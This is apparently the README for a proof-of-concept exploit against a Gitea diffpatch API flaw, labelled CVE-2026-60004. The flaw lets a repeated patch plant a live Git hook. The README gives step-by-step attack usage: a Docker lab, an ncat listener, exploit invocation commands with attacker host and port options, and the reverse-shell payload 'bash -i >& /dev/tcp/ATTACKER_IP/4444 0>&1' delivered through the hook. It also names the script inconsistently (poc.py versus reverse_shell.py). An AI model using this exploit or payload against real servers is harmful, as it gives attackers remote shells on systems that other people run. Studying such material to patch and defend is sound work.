
Gitea diffpatch RCE
★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★
CVE-2026-60004 is a Remote Code Execution (RCE) vulnerability in Gitea. The
diffpatchAPI applies a supplied patch withgit apply --cached, which should only update the index and never write files to disk. By sending the same patch twice, an attacker can force an add/add collision that triggers Git's three-way merge fallback (-3). This path ignores--cachedand checks the file out to the working tree. Because the temporary clone is bare, its working tree root is$GIT_DIR. A patch that creates an executablehooks/post-index-changetherefore installs a live Git hook. Git executes the hook on the next index update, allowing commands to run as the Gitea service account. The endpoint requires repository write access. If registration is open, a user can register an account, create a repository, and reach the vulnerable code path.
| Category | Version |
|---|---|
| Vulnerable | Gitea1.17 through 1.27.0 |
| Patched | Gitea1.27.1 or later |
git)Build and run the vulnerable Gitea environment from the lab directory. The image uses Gitea 1.27.0 and leaves registration enabled.
docker build -t cve-2026-60004 .
docker run --rm -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
Open http://127.0.0.1:3000 in a browser.
| Precondition | State in this lab |
|---|---|
| Gitea 1.17–1.27.0 | 1.27.0 |
| Git 2.32+ on the server | Included in the official image |
| Open registration | Enabled |
| Repository write access | Obtained through a self-registered account and owned repository |
Use this PoC only in an isolated environment that you own or are explicitly authorized to test.
/user/sign_up.main branch exists.reverse_shell.py uses the value passed to --user as both the Basic Authentication username and repository owner. The target repository must therefore belong to that user.
On the callback host, start a listener before running the exploit:
ncat -lvnp 4444
The callback address must be reachable from the Gitea container. When the listener runs on the Docker host, do not use 127.0.0.1 as --lhost; use an address that the container can reach, such as the host's LAN address.
Run the script from the lab directory and replace the placeholder values:
python3 poc.py \
--url http://<TARGET_IP>:3000 \
--user <USER> \
--pw <PASSWORD> \
--repo <REPOSITORY> \
--lhost <ATTACKER_IP> \
--lport 4444
The script performs the following actions automatically:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.hooks/post-index-change patch.POST /api/v1/repos/USER/REPO/diffpatch.The repeated request triggers the 3-way merge fallback that writes the hook into $GIT_DIR/hooks/. The hook then opens the reverse-shell connection as the Gitea service account.
The second HTTP request can remain open while the reverse shell is active. By default, the script waits up to 300 seconds and treats a timeout on the second request as a possible successful callback. Use --timeout to change this value:
python3 reverse_shell.py \
--url http://TARGET_IP:3000 \
--user USER \
--pw PASSWORD \
--repo REPO \
--lhost ATTACKER_IP \
--timeout 60
Reusing a repository after a successful attempt may leave the hook path occupied. Create a fresh initialized repository before retrying.
In the listener, verify the execution context:
id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
The shell should run with the privileges of the Gitea service account (git).
The script uses only the Python standard library and does not require third-party Python packages.
docker stop cve-2026-60004
Because the container was started with --rm, Docker removes it after it stops.
DISABLE_REGISTRATION=true).| Option | Required | Default | Description |
|---|
--url | Yes | — | Gitea base URL, for examplehttp://127.0.0.1:3000 |
--user | Yes | — | Basic Authentication username and repository owner |
--pw | Yes | — | Account password |
--repo | Yes | — | Initialized repository name |
--lhost | Yes | — | Reverse-shell callback address reachable from the target |
--lport | No | 4444 | Reverse-shell callback port |
--branch | No | main | Existing target branch |
--timeout | No | 300 | Timeout for each HTTP request, in seconds |